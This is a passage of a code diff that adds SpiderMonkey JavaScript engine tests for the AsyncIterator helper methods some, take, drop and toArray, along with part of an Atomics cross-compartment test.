+check(-0, false);
+check(0n, false);
+check(createIsHTMLDDA(), false);
+check(Promise.resolve(false), false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/descriptor.js b/js/src/tests/non262/AsyncIterator/prototype/some/descriptor.js
new file mode 100644
index 0000000000..d9f5ef8fb7
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ Descriptor property of AsyncIterator.prototype.some
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype, 'some');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/error-from-correct-realm.js b/js/src/tests/non262/AsyncIterator/prototype/some/error-from-correct-realm.js
new file mode 100644
index 0000000000..bb4b637c1a
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/error-from-correct-realm.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+async function *gen() {}
+
+gen().some().then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+});
+
+otherGlobal.AsyncIterator.prototype.some.call(gen()).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(
+ err instanceof otherGlobal.TypeError,
+ true,
+ 'TypeError comes from the realm of the method.',
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/fn-not-callable-throws.js b/js/src/tests/non262/AsyncIterator/prototype/some/fn-not-callable-throws.js
new file mode 100644
index 0000000000..74a11ceebf
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/fn-not-callable-throws.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function *gen() {
+ yield 1;
+}
+
+function check(fn) {
+ gen().some(fn).then(
+ () => {
+ throw new Error('every should have thrown');
+ },
+ err => {
+ assertEq(err instanceof TypeError, true);
+ }
+ );
+}
+
+check();
+check(undefined);
+check(null);
+check(0);
+check(false);
+check('');
+check(Symbol(''));
+check({});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/fn-throws-close-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/some/fn-throws-close-iterator.js
new file mode 100644
index 0000000000..bdf5119f57
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/fn-throws-close-iterator.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({ done: this.closed });
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.some(fn).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, true);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/interleaving-calls.js b/js/src/tests/non262/AsyncIterator/prototype/some/interleaving-calls.js
new file mode 100644
index 0000000000..d5882b9532
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/interleaving-calls.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const log = [];
+async function* gen(n) {
+ log.push(`${n}`);
+ yield 1;
+ log.push(`${n}`);
+ yield 2;
+}
+
+Promise.all([gen(1).some(() => {}), gen(2).some(() => {})]).then(
+ () => {
+ assertEq(
+ log.join(' '),
+ '1 2 1 2',
+ );
+ },
+ err => {
+ throw err;
+ }
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/length.js b/js/src/tests/non262/AsyncIterator/prototype/some/length.js
new file mode 100644
index 0000000000..ce86dc8b2f
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ The `length` property of AsyncIterator.prototype.some.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.some, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/name.js b/js/src/tests/non262/AsyncIterator/prototype/some/name.js
new file mode 100644
index 0000000000..f2e84a139c
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ `name` property of AsyncIterator.prototype.some.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.some, 'name');
+assertEq(propDesc.value, 'some');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/next-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/some/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..89574e0f8e
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/next-throws-iterator-not-closed.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => {};
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.some(fn).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, false);
+});
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/proxy.js b/js/src/tests/non262/AsyncIterator/prototype/some/proxy.js
new file mode 100644
index 0000000000..6ae089ae38
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/proxy.js
@@ -0,0 +1,46 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+// This test checks that %Iterator.prototype%.some only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends AsyncIterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return Promise.resolve({done: false, value});
+ }
+ return Promise.resolve({done: true});
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+iter.some(x => x % 2 == 1).then(value => {
+ assertEq(value, true);
+
+ assertEq(
+ log.join('\n'),
+ `get: some
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: return`
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/return-false-if-none-match.js b/js/src/tests/non262/AsyncIterator/prototype/some/return-false-if-none-match.js
new file mode 100644
index 0000000000..118436d70b
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/return-false-if-none-match.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 3;
+ yield 5;
+}
+const fn = x => x % 2 == 0;
+
+gen().some(fn).then(result => assertEq(result, false));
+
+async function* empty() {}
+empty().some(x => x).then(result => assertEq(result, false));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/short-circuit-on-true.js b/js/src/tests/non262/AsyncIterator/prototype/some/short-circuit-on-true.js
new file mode 100644
index 0000000000..3d7250b9a2
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/short-circuit-on-true.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+const log = [];
+const fn = (value) => {
+ log.push(value.toString());
+ return value % 2 == 0;
+};
+
+gen().some(fn).then(result => {
+ assertEq(result, true);
+ assertEq(log.join(','), '1,2');
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/this-not-iterator-throws.js b/js/src/tests/non262/AsyncIterator/prototype/some/this-not-iterator-throws.js
new file mode 100644
index 0000000000..1233fc371c
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/this-not-iterator-throws.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const fn = x => x;
+function check(x) {
+ AsyncIterator.prototype.some.call(x, fn).then(
+ () => assertEq(true, false, 'expected error'),
+ err => {
+ assertEq(err instanceof TypeError, true);
+ }
+ );
+}
+
+check();
+check(undefined);
+check({});
+check({next: 0});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/value-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/some/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..f7a344eea4
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/value-throws-iterator-not-closed.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestError extends Error {}
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({
+ done: false,
+ get value() {
+ throw new TestError();
+ }
+ });
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+iterator.some(x => x).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false, 'iterator remains unclosed');
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/take-drop-throw-eagerly-on-negative.js b/js/src/tests/non262/AsyncIterator/prototype/take-drop-throw-eagerly-on-negative.js
new file mode 100644
index 0000000000..f21c78e650
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/take-drop-throw-eagerly-on-negative.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: `take` and `drop` throw eagerly when passed negative numbers, after rounding towards 0.
+info: >
+ Iterator Helpers proposal 2.1.6.4 and 2.1.6.5
+features: [iterator-helpers]
+---*/
+
+async function* gen() {}
+const iter = gen();
+const methods = [
+ value => iter.take(value),
+ value => iter.drop(value),
+];
+
+for (const method of methods) {
+ assertThrowsInstanceOf(() => method(-1), RangeError);
+ assertThrowsInstanceOf(() => method(-Infinity), RangeError);
+
+ // Both -0 and -0.9 round towards 0.
+ method(-0);
+ method(-0.9);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/take-drop-throw-eagerly-on-non-integer.js b/js/src/tests/non262/AsyncIterator/prototype/take-drop-throw-eagerly-on-non-integer.js
new file mode 100644
index 0000000000..a81b407afc
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/take-drop-throw-eagerly-on-non-integer.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: `take` and `drop` throw eagerly when passed values that can't be converted to numbers.
+info: >
+ Iterator Helpers proposal 2.1.6.4 and 2.1.6.5
+features: [iterator-helpers]
+---*/
+
+async function* gen() {}
+const iter = gen();
+const methods = [
+ value => iter.take(value),
+ value => iter.drop(value),
+];
+
+const objectWithToPrimitive = {
+ [Symbol.toPrimitive]() {
+ return {};
+ }
+};
+
+for (const method of methods) {
+ assertThrowsInstanceOf(() => method(0n), TypeError);
+ assertThrowsInstanceOf(() => method(Symbol('')), TypeError);
+ assertThrowsInstanceOf(() => method(objectWithToPrimitive), TypeError);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/take/close-iterator-when-none-remaining.js b/js/src/tests/non262/AsyncIterator/prototype/take/close-iterator-when-none-remaining.js
new file mode 100644
index 0000000000..6ae3e34b5d
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/take/close-iterator-when-none-remaining.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.take closes the iterator when remaining is 0.
+info: >
+ Iterator Helpers proposal 2.1.6.4
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 'value'};
+ }
+
+ closed = false;
+ async return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+const iter = new TestIterator();
+const iterTake = iter.take(1);
+
+iterTake.next().then(
+ ({done, value}) => {
+ assertEq(done, false);
+ assertEq(value, 'value');
+ assertEq(iter.closed, false);
+
+ iterTake.next().then(
+ ({done, value}) => {
+ assertEq(done, true);
+ assertEq(value, undefined);
+ assertEq(iter.closed, true);
+ }
+ );
+ }
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/take/length.js b/js/src/tests/non262/AsyncIterator/prototype/take/length.js
new file mode 100644
index 0000000000..0daf649a58
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/take/length.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.take length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.take.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.take, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/take/name.js b/js/src/tests/non262/AsyncIterator/prototype/take/name.js
new file mode 100644
index 0000000000..6d126390fb
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/take/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.take.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.take.name, 'take');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.take, 'name');
+assertEq(propertyDescriptor.value, 'take');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/take/take-more-than-available.js b/js/src/tests/non262/AsyncIterator/prototype/take/take-more-than-available.js
new file mode 100644
index 0000000000..65355704ae
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/take/take-more-than-available.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.take returns if the iterator is done.
+info: >
+ Iterator Helpers proposal 2.1.6.4
+ 2. Repeat,
+ ...
+ c. Let next be ? Await(? IteratorNext(iterated, lastValue)).
+ d. If ? IteratorComplete(next) is false, return undefined.
+features: [iterator-helpers]
+---*/
+
+async function* gen(values) {
+ yield* values;
+}
+
+(async () => {
+ const iter = gen([1, 2]).take(10);
+ for (const expected of [1, 2]) {
+ const result = await iter.next();
+ assertEq(result.value, expected);
+ assertEq(result.done, false);
+ }
+ const result = await iter.next();
+ assertEq(result.value, undefined);
+ assertEq(result.done, true);
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/take/take.js b/js/src/tests/non262/AsyncIterator/prototype/take/take.js
new file mode 100644
index 0000000000..a734da8c2c
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/take/take.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+let iter = gen().take(2);
+
+for (const v of [1, 2]) {
+ iter.next().then(
+ ({done, value}) => {
+ assertEq(done, false);
+ assertEq(value, v);
+ }
+ );
+}
+
+iter.next().then(({done}) => assertEq(done, true));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/async-writes.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/async-writes.js
new file mode 100644
index 0000000000..8246d8d4ed
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/async-writes.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let x = {a: () => true};
+
+async function* gen() {
+ yield x.a();
+ yield x.a();
+}
+
+gen().toArray().then(
+ () => assertEq(true, false, 'expected error'),
+ err => assertEq(err instanceof Error, true),
+);
+
+x.a = () => {
+ throw Error();
+};
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/create-in-current-realm.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/create-in-current-realm.js
new file mode 100644
index 0000000000..6f0b69f8ad
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/create-in-current-realm.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const otherGlobal = newGlobal({newCompartment: true});
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+gen().toArray().then(array => {
+ assertEq(array instanceof Array, true);
+ assertEq(array instanceof otherGlobal.Array, false);
+});
+
+otherGlobal.AsyncIterator.prototype.toArray.call(gen()).then(array => {
+ assertEq(array instanceof Array, false);
+ assertEq(array instanceof otherGlobal.Array, true);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/descriptor.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/descriptor.js
new file mode 100644
index 0000000000..58c7a13872
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ Descriptor property of AsyncIterator.prototype.toArray
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype, 'toArray');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/interleaving-calls.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/interleaving-calls.js
new file mode 100644
index 0000000000..88e3fcd5e8
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/interleaving-calls.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const log = [];
+async function* gen(n) {
+ log.push(`${n}`);
+ yield 1;
+ log.push(`${n}`);
+ yield 2;
+}
+
+Promise.all([gen(1).toArray(), gen(2).toArray()]).then(
+ () => {
+ assertEq(
+ log.join(' '),
+ '1 2 1 2',
+ );
+ },
+ err => {
+ throw err;
+ }
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/iterator-empty.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/iterator-empty.js
new file mode 100644
index 0000000000..d8eec0454d
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/iterator-empty.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {}
+gen().toArray().then(array => {
+ assertEq(Array.isArray(array), true);
+ assertEq(array.length, 0);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/length.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/length.js
new file mode 100644
index 0000000000..f0467d5fc3
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ The `length` property of AsyncIterator.prototype.toArray.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.toArray, 'length');
+assertEq(propDesc.value, 0);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/name.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/name.js
new file mode 100644
index 0000000000..63cdf4c201
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ `name` property of AsyncIterator.prototype.toArray.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.toArray, 'name');
+assertEq(propDesc.value, 'toArray');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/next-throws.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/next-throws.js
new file mode 100644
index 0000000000..d998f83e83
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/next-throws.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.toArray().then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, false);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/proxy.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/proxy.js
new file mode 100644
index 0000000000..b82af6628e
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+// This test checks that %Iterator.prototype%.toArray only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends AsyncIterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return Promise.resolve({done: false, value});
+ }
+ return Promise.resolve({done: true});
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+iter.toArray().then(() => {
+ assertEq(
+ log.join('\n'),
+ `get: toArray
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value`
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/this-not-iterator-throws.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/this-not-iterator-throws.js
new file mode 100644
index 0000000000..9846c33ee5
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/this-not-iterator-throws.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+
+function check(x) {
+ AsyncIterator.prototype.toArray.call(x).then(
+ () => {
+ throw new Error('check should have been rejected');
+ },
+ err => {
+ assertEq(err instanceof TypeError, true);
+ }
+ );
+}
+
+check();
+check(undefined);
+check({});
+check({next: 0});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/toArray.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/toArray.js
new file mode 100644
index 0000000000..0a91e4d95d
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/toArray.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+assertEq(Array.isArray(gen()), false);
+
+gen().toArray().then(array => {
+ assertEq(Array.isArray(array), true);
+ assertEq(array.length, 3);
+
+ const expected = [1, 2, 3];
+ for (const item of array) {
+ const expect = expected.shift();
+ assertEq(item, expect);
+ }
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/value-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..a00f780185
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/value-throws-iterator-not-closed.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestError extends Error {}
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({
+ done: false,
+ get value() {
+ throw new TestError();
+ }
+ });
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+iterator.toArray().then(
+ () => {
+ throw new Error('toArray should have thrown');
+ },
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false, 'iterator remains unclosed');
+ }
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Atomics/browser.js b/js/src/tests/non262/Atomics/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Atomics/browser.js
diff --git a/js/src/tests/non262/Atomics/cross-compartment.js b/js/src/tests/non262/Atomics/cross-compartment.js
new file mode 100644
index 0000000000..8ef46bda38
--- /dev/null
+++ b/js/src/tests/non262/Atomics/cross-compartment.js
@@ -0,0 +1,109 @@
+// |reftest| skip-if(!this.Atomics||!this.SharedArrayBuffer) fails-if(!xulRuntime.shell)
+
+const otherGlobal = newGlobal();
+
+const intArrayConstructors = [
+ otherGlobal.Int32Array,
+ otherGlobal.Int16Array,
+ otherGlobal.Int8Array,
+ otherGlobal.Uint32Array,
+ otherGlobal.Uint16Array,
+ otherGlobal.Uint8Array,
+];
+
+// Atomics.load
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+ ta[0] = 1;
+
+ assertEq(Atomics.load(ta, 0), 1);
+}
+
+// Atomics.store
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+
+ Atomics.store(ta, 0, 1);
+
+ assertEq(ta[0], 1);
+}
+
+// Atomics.compareExchange
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+ ta[0] = 1;
+
+ let val = Atomics.compareExchange(ta, 0, 1, 2);
+
+ assertEq(val, 1);
+ assertEq(ta[0], 2);
+}
+
